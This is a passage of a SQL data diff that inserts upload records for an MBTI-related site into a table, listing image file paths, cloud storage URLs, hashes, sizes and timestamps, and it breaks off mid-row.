+INSERT INTO `mbti_upload_files` VALUES (25, 'mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'oss', '326045712ac33916089e8ef0bafcd003', 21005, 'image/jpeg', 'jpg', 1772428077, 1772428077); +INSERT INTO `mbti_upload_files` VALUES (26, 'mbti/20260303/img_69a6844f999b87.63229945.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png', 'oss', 'e9c53355b41ca176a6e59dd51a5c78ec', 98521, 'image/jpeg', 'png', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (27, 'mbti/20260303/img_69a6844f943017.17894021.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg', 'oss', 'c35fb9d393b36f1183a6feff7924059a', 165765, 'image/jpeg', 'jpg', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (28, 'mbti/20260303/img_69a6844f95c675.65376842.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png', 'oss', '5eb86c160a190bc4ac76dfb7254caaba', 100588, 'image/jpeg', 'png', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (29, 'mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'oss', '832d10dd83b4e3cde3c16a58ba3b48ac', 4278, 'image/jpeg', 'jpg', 1772535605, 1772535605); +INSERT INTO `mbti_upload_files` VALUES (30, 'mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'oss', '3b9c6fd5cbc9ffa5d27d1fcc63f2529b', 105212, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (31, 'mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'oss', 'f62c11ee04ee8b7c45d338d65440828f', 106974, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (32, 'mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'oss', 'c4b7862fba01e7572a9fbb692ca93ac2', 108085, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (33, 'mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'oss', '66ae33cc7beedade807e560ab0758a77', 130819, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (34, 'mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'oss', 'bd3516219793e724bcef670d0c75a397', 129203, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (35, 'mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'oss', 'dabdd1d6da43c1f28d2763e5d88eb616', 122807, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (36, 'mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'oss', 'c8364605bd9ab6e7bccd25be9c88dd40', 109690, 'image/jpeg', 'jpg', 1772535762, 1772535762); +INSERT INTO `mbti_upload_files` VALUES (37, 'mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'oss', '1a8f71164cf6355088eac5fe51a43332', 115557, 'image/jpeg', 'jpg', 1772535762, 1772535762); +INSERT INTO `mbti_upload_files` VALUES (38, 'mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'oss', 'b1618aee81a107a2446367486e7b15fb', 120923, 'image/jpeg', 'jpg', 1772535764, 1772535764); +INSERT INTO `mbti_upload_files` VALUES (39, 'mbti/20260304/img_69a7d993a31264.28523714.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png', 'oss', '7a238a038da6d5130c5a71c92aa51776', 59139, 'image/png', 'png', 1772607891, 1772607891); +INSERT INTO `mbti_upload_files` VALUES (40, 'mbti/20260304/img_69a7ee569a56a7.90410485.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7ee569a56a7.90410485.png', 'oss', 'd9678bc69b24ea37b6c88ad83dc9ec8a', 58195, 'image/png', 'png', 1772613206, 1772613206); +INSERT INTO `mbti_upload_files` VALUES (41, 'mbti/20260304/img_69a7f4bb529f73.42463703.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7f4bb529f73.42463703.png', 'oss', '20e4e82888525a3ec090187cb416e17b', 54753, 'image/png', 'png', 1772614843, 1772614843); +INSERT INTO `mbti_upload_files` VALUES (42, 'mbti/20260305/img_69a92fe4320f98.44874477.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a92fe4320f98.44874477.png', 'oss', '2be5305fef3d4f09ae494774eaa7f158', 176555, 'image/png', 'png', 1772695524, 1772695524); +INSERT INTO `mbti_upload_files` VALUES (43, 'mbti/20260305/img_69a93009e76ba4.00229379.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a93009e76ba4.00229379.png', 'oss', '7c45fe7e65fd901be08390d0467780bc', 1020534, 'image/png', 'png', 1772695562, 1772695562); +INSERT INTO `mbti_upload_files` VALUES (44, 'mbti/20260310/img_69af801d8441f3.91458120.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png', 'oss', 'f5e623af3f383d66ba8c2d71d7ee8514', 392310, 'image/png', 'png', 1773109278, 1773109278); +INSERT INTO `mbti_upload_files` VALUES (45, 'mbti/20260310/img_69afc570e96293.69974803.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e96293.69974803.jpg', 'oss', '20b939f680d6bf3154d0344cd64f77bb', 197820, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (46, 'mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'oss', 'e4c32699227a63a2965ad919266dc260', 203490, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (47, 'mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'oss', '3c1c899e7a604d4eb5c2ee15eeb301fd', 203421, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (48, 'mbti/20260310/img_69afc606a57237.43033150.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg', 'oss', '4be1aa248ced86f591bb060f355fbd51', 267603, 'image/jpeg', 'jpg', 1773127174, 1773127174); +INSERT INTO `mbti_upload_files` VALUES (49, 'mbti/20260310/img_69afc606bdb774.70305849.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg', 'oss', '234b04c50567e049306ce16abd48c73d', 266973, 'image/jpeg', 'jpg', 1773127175, 1773127175); +INSERT INTO `mbti_upload_files` VALUES (50, 'mbti/20260310/img_69afc606dde213.19573884.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg', 'oss', 'e029e630cfda7d25052c76c5ad9736fd', 267240, 'image/jpeg', 'jpg', 1773127176, 1773127176); +INSERT INTO `mbti_upload_files` VALUES (51, 'mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'oss', '1a3fcc3231fd1caad238d251952c65d5', 96512, 'image/jpeg', 'jpg', 1773127676, 1773127676); +INSERT INTO `mbti_upload_files` VALUES (52, 'mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'oss', '810969db03135c061f2c757a4aaee4cf', 3739, 'image/jpeg', 'jpeg', 1773127886, 1773127886); +INSERT INTO `mbti_upload_files` VALUES (53, 'mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'oss', '5b024629ed8b57c01a8ed60345e517bb', 251545, 'image/jpeg', 'jpg', 1773130620, 1773130620); +INSERT INTO `mbti_upload_files` VALUES (54, 'mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'oss', 'f31aae364ba9b2a8d021a53a32125d07', 265650, 'image/jpeg', 'jpg', 1773130620, 1773130620); +INSERT INTO `mbti_upload_files` VALUES (55, 'mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'oss', '3af1ed5cb4d9b56fa94d8c232de1d2e5', 249447, 'image/jpeg', 'jpg', 1773130621, 1773130621); +INSERT INTO `mbti_upload_files` VALUES (56, 'mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'oss', '6344cf4169a1b8b922b50ff6ed5a6af3', 108930, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (57, 'mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'oss', '563e035636b21df3d70f2c7c5a67ef82', 260914, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (58, 'mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'oss', 'b282006653e3049c61d5e8d7c75d0224', 241849, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (59, 'mbti/20260310/img_69afede13bda54.82616891.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg', 'oss', '3e37bc6c5c1f906b5a71e66e623d7bb1', 39009, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (60, 'mbti/20260310/img_69afede1498fb4.13618523.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg', 'oss', '4b2899e0d705037dea5bccc3095c100e', 41406, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (61, 'mbti/20260310/img_69afede146fe35.05214291.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg', 'oss', '4ecc5969a624b2fedf1735508cb9927d', 34525, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (62, 'mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'oss', '329f969ee25c319e364651dbfb3ebb10', 38585, 'image/jpeg', 'jpg', 1773137415, 1773137415); +INSERT INTO `mbti_upload_files` VALUES (63, 'mbti/20260310/img_69afee07df7c91.55175853.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg', 'oss', '10c2ffac870a37534aaa70726e833c4b', 40416, 'image/jpeg', 'jpg', 1773137415, 1773137415); +INSERT INTO `mbti_upload_files` VALUES (64, 'mbti/20260310/img_69afee07d96652.90735834.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg', 'oss', '1e126a209f9151b79f51cc2ff514b2b6', 36305, 'image/jpeg', 'jpg', 1773137416, 1773137416); +INSERT INTO `mbti_upload_files` VALUES (65, 'mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'oss', '395eebe591cf2c31b245cde43c083017', 140002, 'image/jpeg', 'jfif', 1773216290, 1773216290); +INSERT INTO `mbti_upload_files` VALUES (66, 'mbti/20260311/img_69b122215f6c00.42725600.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif', 'oss', 'b44035a5c43461e55478617b4dfb8f24', 147500, 'image/jpeg', 'jfif', 1773216292, 1773216292); +INSERT INTO `mbti_upload_files` VALUES (67, 'mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'oss', '930bb139f81eb4602e8277503f85dc19', 159211, 'image/jpeg', 'jfif', 1773216293, 1773216293); +INSERT INTO `mbti_upload_files` VALUES (68, 'mbti/20260311/img_69b1229473c992.26199330.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif', 'oss', '7a3038f690f4e2149a54a28556fe8f1f', 126656, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (69, 'mbti/20260311/img_69b12294706aa6.28073503.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif', 'oss', '2b9c5669701817d84f80eee55cc8ecd2', 136450, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (70, 'mbti/20260311/img_69b122946a54c6.37603583.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif', 'oss', '9b48790fddccaf294b050cc8f49d71d8', 142878, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (71, 'mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'oss', 'c49cc6b635abcc1a69389c72b9806fc1', 126764, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (72, 'mbti/20260311/img_69b128d154df95.81703712.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg', 'oss', '2e910aabcbd4c059507da065ce66e530', 99583, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (73, 'mbti/20260311/img_69b128d15502b8.73103052.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg', 'oss', '7cf9f2be739fd083df9d13e13b6d6a9a', 99851, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (74, 'mbti/20260311/img_69b129125da054.82470920.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg', 'oss', 'fdec09189ad31de155fd312389f31877', 109422, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (75, 'mbti/20260311/img_69b12912575b20.55637872.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg', 'oss', 'c6f76ff24b55b4455f47c0aa65e86eb4', 108104, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (76, 'mbti/20260311/img_69b1291258aed8.61725123.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg', 'oss', '514bbf423470dfaebca34840db697f5c', 110522, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (77, 'mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'oss', '855f2c94fd9d441b9679a44121c5db35', 121566, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (78, 'mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'oss', 'bc66272b2846da28d72008e10b8411ee', 116232, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (79, 'mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'oss', 'd6c5ce4427962417f38e705d90cb4ca4', 121973, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (80, 'mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'oss', 'e317f454a4c121ed4cc5900254c4f5d1', 117972, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (81, 'mbti/20260311/img_69b12e04924b36.48351571.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg', 'oss', '1573210c9170e713bb8787a0c66b8495', 123427, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (82, 'mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'oss', 'bafbc654e74c6a8ce82ad9fa8cca8363', 125148, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (83, 'mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'oss', '0027b5729ea7282f8bd98574e9389349', 120208, 'image/jpeg', 'jpg', 1773219352, 1773219352); +INSERT INTO `mbti_upload_files` VALUES (84, 'mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'oss', '506ea02dafe435552668874c1d7c0c65', 129913, 'image/jpeg', 'jpg', 1773219352, 1773219352); +INSERT INTO `mbti_upload_files` VALUES (85, 'mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'oss', 'd121680da07428ec87db54b9b81d9b35', 127374, 'image/jpeg', 'jpg', 1773219353, 1773219353); +INSERT INTO `mbti_upload_files` VALUES (86, 'mbti/20260311/img_69b13ab171e520.51202929.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg', 'oss', 'e39c576e6239becee2b333bfb05b7a7a', 146000, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (87, 'mbti/20260311/img_69b13ab163f450.57707298.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg', 'oss', 'dc932dc407a57f3b334b8930981ca537', 153759, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (88, 'mbti/20260311/img_69b13ab1747880.84872798.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg', 'oss', '51a4325ac73792a03e67c100267fe425', 178084, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (89, 'mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'oss', '40a5eb10010afa4da9b55be7856b6b2f', 170198, 'image/jpeg', 'jpg', 1773227464, 1773227464); +INSERT INTO `mbti_upload_files` VALUES (90, 'mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'oss', '981a3f4809a522a3905fcd37271e955d', 167458, 'image/jpeg', 'jpg', 1773227464, 1773227464); +INSERT INTO `mbti_upload_files` VALUES (91, 'mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'oss', 'c09ab1ab078d40810cebac61787d35fb', 164566, 'image/jpeg', 'jpg', 1773227465, 1773227465); +INSERT INTO `mbti_upload_files` VALUES (92, 'mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'oss', '8ddbe41959187eb360aea40e98d81ef9', 4389, 'image/jpeg', 'jpg', 1773227584, 1773227584); +INSERT INTO `mbti_upload_files` VALUES (93, 'mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'oss', '0a3d1afe8ab13d4e34f955003ca8c7d4', 69706, 'image/jpeg', 'jpg', 1773227850, 1773227850); +INSERT INTO `mbti_upload_files` VALUES (94, 'mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'oss', '2d49facb79942ed6098b165496bcf475', 115505, 'image/jpeg', 'jpg', 1773228007, 1773228007); +INSERT INTO `mbti_upload_files` VALUES (95, 'mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'oss', 'b3651bcc0238b373bac9184d3a7e64fd', 121426, 'image/jpeg', 'jpg', 1773228007, 1773228007); +INSERT INTO `mbti_upload_files` VALUES (96, 'mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'oss', '4900f43385f32594e0542aeaa0e45be4', 122027, 'image/jpeg', 'jpg', 1773228008, 1773228008); +INSERT INTO `mbti_upload_files` VALUES (97, 'mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'oss', 'b1e800a3a795935069b4ab1a31917c29', 122984, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (98, 'mbti/20260311/img_69b15028ccd066.43636225.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg', 'oss', '6f158bcea443e18cfd3310c76a50a436', 120914, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (99, 'mbti/20260311/img_69b15028ce1643.64175223.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg', 'oss', 'fc7c66436b4a6951db2c651d9c2324a7', 120377, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (100, 'mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'oss', '112209e613570cda5e0320f04ef0e4fd', 153274, 'image/jpeg', 'jpg', 1773228395, 1773228395); +INSERT INTO `mbti_upload_files` VALUES (101, 'mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'oss', '3b1d0c359ac4e578b722d8010009e033', 153680, 'image/jpeg', 'jpg', 1773228396, 1773228396); +INSERT INTO `mbti_upload_files` VALUES (102, 'mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'oss', 'd2817f45e62023d426af5e1a869ba2b7', 151364, 'image/jpeg', 'jpg', 1773228396, 1773228396); +INSERT INTO `mbti_upload_files` VALUES (103, 'mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'oss', '134dd68939a27b2a1d973ef9960cce40', 166121, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (104, 'mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'oss', '502b8440cd6bccce64d5058e10ff194d', 165584, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (105, 'mbti/20260311/img_69b151a3eba629.60383383.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg', 'oss', 'daccbd84b40e644769025d9e69277ade', 169727, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (106, 'mbti/20260311/img_69b152a11237f1.79404762.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg', 'oss', '766dc74560baf9a631b9cb4fca87b45b', 147954, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (107, 'mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'oss', '4f7d7b697ae8525e9dc6ea62c55efb18', 165695, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (108, 'mbti/20260311/img_69b152a0f32570.64051638.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg', 'oss', 'efd29da39c44fe96d4da9ed8dce04c15', 139846, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (109, 'mbti/20260311/img_69b152e6decb88.39454837.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg', 'oss', 'f45c70d40e294276e6d75d59f80713cf', 137357, 'image/jpeg', 'jpg', 1773228775, 1773228775); +INSERT INTO `mbti_upload_files` VALUES (110, 'mbti/20260311/img_69b152e6db9b37.88275148.jpg', 